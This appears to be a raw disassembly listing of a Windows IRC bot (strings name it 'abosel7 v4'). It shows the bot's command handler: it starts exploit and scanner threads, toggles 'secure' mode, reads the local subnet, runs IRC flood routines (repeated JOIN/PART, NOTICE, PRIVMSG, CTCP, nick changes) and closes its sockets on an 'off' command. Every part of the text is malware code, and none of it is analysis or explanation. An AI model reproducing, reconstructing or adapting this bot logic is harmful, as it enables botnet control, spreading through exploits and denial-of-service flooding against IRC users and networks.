; ---------------------------------------------------------------------------
loc_404602: ; CODE XREF: sub_401ACD+2B1Fj
cmp [ebp+var_8FF], bl
jz short loc_404613
lea eax, [ebp+var_C4]
push eax
jmp short loc_4045EF
; ---------------------------------------------------------------------------
loc_404613: ; CODE XREF: sub_401ACD+2B3Bj
mov [ebp+var_5A0], bl
loc_404619: ; CODE XREF: sub_401ACD+2B33j
mov eax, [ebp+var_4]
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov [ebp+var_584], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_580], eax
lea eax, [ebp+var_620]
push eax
mov [ebp+var_624], esi
call sub_41C360
add esp, 0Ch
push [ebp+var_590]
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BC94
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 19h
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_58C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_624]
push ebx
push eax
push offset sub_411BCE
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_58C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4046CA
loc_4046B4: ; CODE XREF: sub_401ACD+2BFBj
cmp [ebp+var_57C], ebx
jnz loc_401F75
push 32h
call dword_427080 ; Sleep
jmp short loc_4046B4
; ---------------------------------------------------------------------------
loc_4046CA: ; CODE XREF: sub_401ACD+2BE5j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42BC58
jmp loc_4097CB
; ---------------------------------------------------------------------------
loc_4046DB: ; CODE XREF: sub_401ACD+FFDj
; sub_401ACD+1012j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4046FB
push esi
call sub_41C159
test ax, ax
pop ecx
jz short loc_4046FB
push esi
call sub_41C159
pop ecx
jmp short loc_404701
; ---------------------------------------------------------------------------
loc_4046FB: ; CODE XREF: sub_401ACD+2C17j
; sub_401ACD+2C23j
mov ax, word_429084
loc_404701: ; CODE XREF: sub_401ACD+2C2Cj
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
mov [ebp+var_97C], ax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_96C], eax
lea eax, [ebp+var_9FC]
push eax
mov [ebp+var_A00], esi
mov [ebp+var_970], edi
call sub_41C360
movzx eax, [ebp+var_97C]
add esp, 0Ch
push eax
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BC2C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push edi
push eax
push [ebp+var_88]
push esi
call sub_409869
push ebx
lea eax, [ebp+var_2C4]
push 6
push eax
call sub_40B3BA
add esp, 30h
mov [ebp+var_978], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A00]
push ebx
push eax
push offset sub_40EF1C
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_978]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4047D0
loc_4047BA: ; CODE XREF: sub_401ACD+2D01j
cmp [ebp+var_968], ebx
jnz loc_401F75
push 32h
call dword_427080 ; Sleep
jmp short loc_4047BA
; ---------------------------------------------------------------------------
loc_4047D0: ; CODE XREF: sub_401ACD+2CEBj
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42BBEC
jmp loc_4097CB
; ---------------------------------------------------------------------------
loc_4047E1: ; CODE XREF: sub_401ACD+FA9j
; sub_401ACD+FBEj ...
push edi
push offset aSecure ; "secure"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_404809
push edi
push offset aSec ; "sec"
call sub_41CA50
pop ecx
mov [ebp+var_AA8], ebx
test eax, eax
pop ecx
jnz short loc_404813
loc_404809: ; CODE XREF: sub_401ACD+2D23j
mov [ebp+var_AA8], 1
loc_404813: ; CODE XREF: sub_401ACD+2D3Aj
push [ebp+var_88]
lea eax, [ebp+var_B2C]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_AA8], ebx
mov [ebp+var_B30], eax
mov eax, [ebp+var_4]
mov [ebp+var_AA4], eax
mov eax, [ebp+var_8]
mov [ebp+var_AA0], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_40485A
mov eax, offset aUnsecuring ; "Unsecuring"
loc_40485A: ; CODE XREF: sub_401ACD+2D86j
push eax
push offset dword_42BBB8
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 22h
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_AAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_B30]
push ebx
push eax
push offset sub_41A366
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_AAC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4048CE
loc_4048B8: ; CODE XREF: sub_401ACD+2DFFj
cmp [ebp+var_A9C], ebx
jnz loc_4082DE
push 32h
call dword_427080 ; Sleep
jmp short loc_4048B8
; ---------------------------------------------------------------------------
loc_4048CE: ; CODE XREF: sub_401ACD+2DE9j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42BB7C
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_4048DF: ; CODE XREF: sub_401ACD+F7Fj
; sub_401ACD+F94j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41ABFB
loc_4048F0: ; CODE XREF: sub_401ACD+2A75j
; sub_401ACD+2A8Bj ...
add esp, 0Ch
jmp loc_409644
; ---------------------------------------------------------------------------
loc_4048F8: ; CODE XREF: sub_401ACD+F55j
; sub_401ACD+F6Aj
push offset unk_42BB2C
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_404902: ; CODE XREF: sub_401ACD+F2Bj
; sub_401ACD+F40j
push offset aAbosel7V4 ; "abosel7 v4"
push offset dword_42BB1C
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_404911: ; CODE XREF: sub_401ACD+F01j
; sub_401ACD+F16j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_404971
push esi
call sub_41C159
cmp eax, ebx
pop ecx
jl short loc_404966
cmp eax, 3
jge short loc_404966
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_40495B
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CD50
push eax
call sub_41C266
add esp, 0Ch
mov [esi], bl
jmp loc_4081AD
; ---------------------------------------------------------------------------
loc_40495B: ; CODE XREF: sub_401ACD+2E6Dj
push eax
push offset unk_42BAF0
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_404966: ; CODE XREF: sub_401ACD+2E58j
; sub_401ACD+2E5Dj
push eax
push offset unk_42BAC4
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_404971: ; CODE XREF: sub_401ACD+2E4Dj
mov edi, [ebp+arg_18]
xor esi, esi
loc_404976: ; CODE XREF: sub_401ACD+2EC5j
push [ebp+var_90]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_404999
inc esi
add edi, 80h
cmp esi, 3
jl short loc_404976
jmp loc_4081AD
; ---------------------------------------------------------------------------
loc_404999: ; CODE XREF: sub_401ACD+2EB9j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
push offset unk_42CD50
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_4049B3: ; CODE XREF: sub_401ACD+ED7j
; sub_401ACD+EECj
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403446
call sub_40B583
push ebx
call dword_42706C ; ExitProcess
loc_4049D9: ; CODE XREF: sub_401ACD+19B1j
push offset aGet ; "get"
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404A67
cmp dword_4CF180, ebx
jz short loc_404A01
push offset dword_4CEB60
loc_4049F7: ; CODE XREF: sub_401ACD+2F98j
push offset unk_42BA88
jmp loc_404A97
; ---------------------------------------------------------------------------
loc_404A01: ; CODE XREF: sub_401ACD+2F23j
push 10h
pop eax
mov [ebp+var_2CC], eax
push eax
lea eax, [ebp+var_2E8]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_2CC]
push eax
lea eax, [ebp+var_2E8]
push eax
push [ebp+arg_4]
call dword_427214 ; getsockname
movzx eax, [ebp+var_2E2]
push eax
movzx eax, [ebp+var_2E3]
push eax
movzx eax, [ebp+var_2E4]
push eax
lea eax, [ebp+var_E24]
push offset aD_D_D_ ; "%d.%d.%d.*"
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp+var_E24]
push eax
jmp short loc_4049F7
; ---------------------------------------------------------------------------
loc_404A67: ; CODE XREF: sub_401ACD+2F1Bj
push edi
call dword_4CBA14 ; inet_addr
cmp eax, 0FFFFFFFFh
push edi
jnz short loc_404A7B
push offset unk_42BA48
jmp short loc_404A97
; ---------------------------------------------------------------------------
loc_404A7B: ; CODE XREF: sub_401ACD+2FA5j
push offset dword_4CEB60
call sub_41C890
pop ecx
mov dword_4CF180, 1
pop ecx
push edi
push offset unk_42BA1C
loc_404A97: ; CODE XREF: sub_401ACD+2F2Fj
; sub_401ACD+2FACj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
jmp loc_40349D
; ---------------------------------------------------------------------------
loc_404AAB: ; CODE XREF: sub_401ACD+199Cj
push [ebp+arg_8]
push offset aExploit ; "exploit"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_404BB1
mov eax, [ebp+var_4]
mov esi, 80h
mov [ebp+var_13E8], eax
mov eax, [ebp+var_8]
mov [ebp+var_13E4], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13F8], eax
push offset aF ; "#f"
lea eax, [ebp+var_1478]
push esi
push eax
mov [ebp+var_13F0], 1
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_14F8]
push offset aF ; "#f"
push esi
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_1508]
push edi
push 10h
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_1508]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42B9E4
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 8
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_13EC], eax
lea eax, [ebp+var_2FC]
push eax
lea eax, [ebp+var_1508]
push ebx
push eax
push offset sub_40BB65
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_13EC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_404BA0
loc_404B8A: ; CODE XREF: sub_401ACD+30D1j
cmp [ebp+var_13E0], ebx
jnz loc_4081AD
push 32h
call dword_427080 ; Sleep
jmp short loc_404B8A
; ---------------------------------------------------------------------------
loc_404BA0: ; CODE XREF: sub_401ACD+30BBj
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42B9A4
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_404BB1: ; CODE XREF: sub_401ACD+2FEFj
push [ebp+arg_8]
push offset aReconnect_in ; "reconnect.in"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4095B4
push [ebp+arg_8]
push offset aRin ; "rin"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4095B4
push [ebp+arg_8]
push offset aReconnect_in_m ; "reconnect.in.ms"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409570
push [ebp+arg_8]
push offset aRinms ; "rinms"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409570
push [ebp+arg_8]
push offset aFlood ; "flood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4057B7
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
push edi
push offset aLoad ; "load"
call sub_41CA50
add esp, 0Ch
test eax, eax
jnz short loc_404CB7
cmp [ebp+esi+var_80], ebx
jz short loc_404CB7
push [ebp+esi+var_80]
call sub_41C159
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41C159
pop ecx
push eax
push [ebp+esi+var_88]
call sub_417E06
add esp, 0Ch
lea eax, [ebp+var_2C4]
push [ebp+esi+var_84]
push [ebp+esi+var_88]
push [ebp+esi+var_80]
push offset unk_42B93C
push eax
call sub_41C266
add esp, 14h
cmp [ebp+var_8], ebx
jnz short loc_404CB7
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_404CB7: ; CODE XREF: sub_401ACD+3173j
; sub_401ACD+3179j ...
push edi
push offset dword_42B938
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404D21
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404D21
push offset asc_42CDC0 ; " "
push offset dword_42B934
push eax
call sub_41843B
push eax
lea eax, [ebp+var_47F0]
push eax
call sub_41C890
add esp, 14h
lea eax, [ebp+var_47F0]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B924
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404D21: ; CODE XREF: sub_401ACD+31F9j
; sub_401ACD+3204j
push edi
push offset dword_42B920
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404D8B
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404D8B
push offset asc_42CDC0 ; " "
push offset dword_42B934
push eax
call sub_41843B
push eax
lea eax, [ebp+var_4AF4]
push eax
call sub_41C890
add esp, 14h
lea eax, [ebp+var_4AF4]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B90C
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404D8B: ; CODE XREF: sub_401ACD+3263j
; sub_401ACD+326Ej
push edi
push offset aNt ; "nt"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404DF5
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404DF5
push offset asc_42CDC0 ; " "
push offset dword_42B934
push eax
call sub_41843B
push eax
lea eax, [ebp+var_48F0]
push eax
call sub_41C890
add esp, 14h
lea eax, [ebp+var_48F0]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_1 ; "notice %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404DF5: ; CODE XREF: sub_401ACD+32CDj
; sub_401ACD+32D8j
push edi
push offset aMode ; "mode"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404E5F
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404E5F
push offset asc_42CDC0 ; " "
push offset dword_42B934
push eax
call sub_41843B
push eax
lea eax, [ebp+var_4FF8]
push eax
call sub_41C890
add esp, 14h
lea eax, [ebp+var_4FF8]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aModeSS ; "mode %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404E5F: ; CODE XREF: sub_401ACD+3337j
; sub_401ACD+3342j
push edi
push offset aJoin ; "join"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404E9C
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404E9C
push eax
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_404E9C: ; CODE XREF: sub_401ACD+33A1j
; sub_401ACD+33ACj
push edi
push offset aPart_0 ; "part"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404ED9
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404ED9
push eax
lea eax, [ebp+var_2C4]
push offset aPartS ; "part %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_404ED9: ; CODE XREF: sub_401ACD+33DEj
; sub_401ACD+33E9j
push edi
push offset aPartflood ; "partflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404F1B
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404F1B
push offset dword_427620
push eax
lea eax, [ebp+var_2C4]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404F1B: ; CODE XREF: sub_401ACD+341Bj
; sub_401ACD+3426j
push edi
push offset aPnick ; "pnick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404F92
cmp [ebp+esi+var_88], ebx
jz short loc_404F92
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_17B8]
push edx
push [ebp+esi+var_88]
push offset dword_42B89C
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp+var_17B8]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_404F92: ; CODE XREF: sub_401ACD+345Dj
; sub_401ACD+3466j
push edi
push offset dword_42B888
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4050E9
cmp [ebp+esi+var_88], ebx
jz loc_4050E9
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push offset dword_427620
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call dword_427080 ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 384h
idiv ecx
push edx
call dword_427080 ; Sleep
push offset dword_427620
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 0C8h
idiv ecx
push edx
call dword_427080 ; Sleep
push offset dword_427620
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_4050E9: ; CODE XREF: sub_401ACD+34D4j
; sub_401ACD+34E1j
push edi
push offset dword_42B884
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405181
cmp [ebp+esi+var_88], ebx
jz short loc_405181
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_2C4]
push edx
push [ebp+esi+var_88]
push offset dword_42B85C
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 24h
loc_405181: ; CODE XREF: sub_401ACD+362Bj
; sub_401ACD+3638j
push edi
push offset aNick_0 ; "nick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405289
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz loc_405289
push eax
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
lea eax, [ebp+var_4BC]
push eax
call sub_417E84
add esp, 14h
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_427080 ; Sleep
lea eax, [ebp+var_4BC]
push eax
call sub_417E84
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 1F4h
idiv ecx
push edx
call dword_427080 ; Sleep
lea eax, [ebp+var_4BC]
push eax
call sub_417E84
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_405289: ; CODE XREF: sub_401ACD+36C3j
; sub_401ACD+36D2j
push edi
push offset aChgnick ; "chgnick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4052CE
lea eax, [ebp+var_180C]
push eax
call sub_417E84
pop ecx
lea eax, [ebp+var_180C]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_4052CE: ; CODE XREF: sub_401ACD+37CBj
push edi
push offset aMsg ; "msg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4053C3
cmp [ebp+esi+var_88], ebx
jz loc_4053C3
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push offset dword_427624
push [ebp+esi+var_88]
push offset dword_42B924
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B924
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 384h
idiv ecx
push edx
call dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B924
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_4053C3: ; CODE XREF: sub_401ACD+3810j
; sub_401ACD+381Dj
push edi
push offset aNotice_0 ; "notice"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4054B8
cmp [ebp+esi+var_88], ebx
jz loc_4054B8
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push offset dword_427624
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 384h
idiv ecx
push edx
call dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_4054B8: ; CODE XREF: sub_401ACD+3905j
; sub_401ACD+3912j
push edi
push offset aCtcp ; "ctcp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4055D9
cmp [ebp+esi+var_88], ebx
jz loc_4055D9
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B814
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_427080 ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B7FC
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_427080 ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B7E4
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_427080 ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B7E4
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_4055D9: ; CODE XREF: sub_401ACD+39FAj
; sub_401ACD+3A07j
push edi
push offset aMix ; "mix"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405709
cmp [ebp+esi+var_88], ebx
jz loc_405709
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B814
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_405709: ; CODE XREF: sub_401ACD+3B1Bj
; sub_401ACD+3B28j
push edi
push offset aRegister ; "register"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40574D
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_40574D
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNickservRegist ; "nickserv register %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_40574D: ; CODE XREF: sub_401ACD+3C4Bj
; sub_401ACD+3C56j
push edi
push offset aOff ; "off"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_40619B
mov [ebp+arg_18], offset dword_4D4A5C
loc_405769: ; CODE XREF: sub_401ACD+3CC0j
mov eax, [ebp+arg_18]
cmp dword ptr [eax-4], 1
jnz short loc_40577F
mov eax, [eax]
cmp eax, ebx
jbe short loc_40577F
push eax
call dword_4CBA6C ; closesocket
loc_40577F: ; CODE XREF: sub_401ACD+3CA3j
; sub_401ACD+3CA9j
add [ebp+arg_18], 210h
cmp [ebp+arg_18], offset dword_4DB17C
jl short loc_405769
cmp [ebp+var_8], ebx
jnz loc_40619B
push ebx
push [ebp+var_4]
push offset unk_42B784
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
jmp loc_40619B
; ---------------------------------------------------------------------------
loc_4057B7: ; CODE XREF: sub_401ACD+3151j
push [ebp+arg_8]
push offset aNick_0 ; "nick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409554
push [ebp+arg_8]
push offset aN ; "n"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409554
push [ebp+arg_8]
push offset aJoin ; "join"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409531
push [ebp+arg_8]
push offset aJ ; "j"
call sub_41CA50
pop ecx
test eax, eax
